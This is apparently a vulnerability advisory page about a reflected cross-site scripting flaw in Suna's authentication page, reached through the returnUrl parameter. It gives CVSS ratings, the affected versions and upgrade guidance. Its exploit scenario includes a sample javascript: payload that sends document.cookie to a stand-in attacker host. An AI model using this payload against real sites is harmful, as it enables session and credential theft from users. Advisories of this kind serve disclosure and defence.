EUVD-2026-38197
GHSA-fpgm-v536-ccc8
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-accessible pre-auth endpoint, no privileges needed, victim interaction required; scope changes to browser context enabling credential/session theft.
Primary rating from Vendor (VulDB).
CVSS VectorVendor: VulDB
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
4DescriptionCVE.org
A weakness has been identified in kortix-ai suna up to 0.8.38. Affected by this issue is the function router.replace/router.push of the file apps/frontend/src/app/auth/page.tsx of the component Auth Endpoint. Executing a manipulation of the argument returnURL can lead to cross site scripting. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 0.8.39 can resolve this issue. This patch is called f5dec7aa0c1b8fa0125938f292c0f2430ca75f6c. It is advisable to upgrade the affected component. The researcher explains: "The issue was fixed in v0.8.39 without notifying the wider user base via a security disclosure."
AnalysisAI
Reflected cross-site scripting in Suna's authentication endpoint allows remote attackers to execute arbitrary JavaScript in a victim's browser by manipulating the returnURL parameter passed to Next.js router.replace/router.push. All Suna releases from 0.8.0 through 0.8.38 are affected; the flaw spans every auth action (signIn, signUp, resetPassword, signInWithPassword, signUpWithPassword, sendOtpCode, resendMagicLink, installOwner) because none sanitized the returnUrl form field before use. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The auth page and actions must be version 0.8.38 or earlier (pre-patch). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Despite a CVSS 4.0 base score of only 2.1 (vector AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N), real-world risk is moderate for deployments where users log in via phishing-susceptible channels. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker crafts a URL targeting a Suna instance's /auth page with a malicious returnUrl value such as javascript:fetch('https://attacker.example/steal?c='+document.cookie) and delivers it via phishing email or social engineering. When the victim clicks the link and interacts with the auth page (e.g., clicks sign-in), the unsanitized returnUrl is passed to router.push/router.replace, executing the attacker's JavaScript in the victim's browser context. … |
| Remediation | Upgrade Suna to version 0.8.39 or later; this is a vendor-released patch confirmed by both the tagged release at https://github.com/kortix-ai/suna/releases/tag/v0.8.39 and commit f5dec7aa0c1b8fa0125938f292c0f2430ca75f6c. … Detailed patch versions, workarounds, and compensating controls in full report. |
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Same weakness CWE-79 – Cross-site Scripting (XSS)
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External POC / Exploit Code
Leaving vuln.today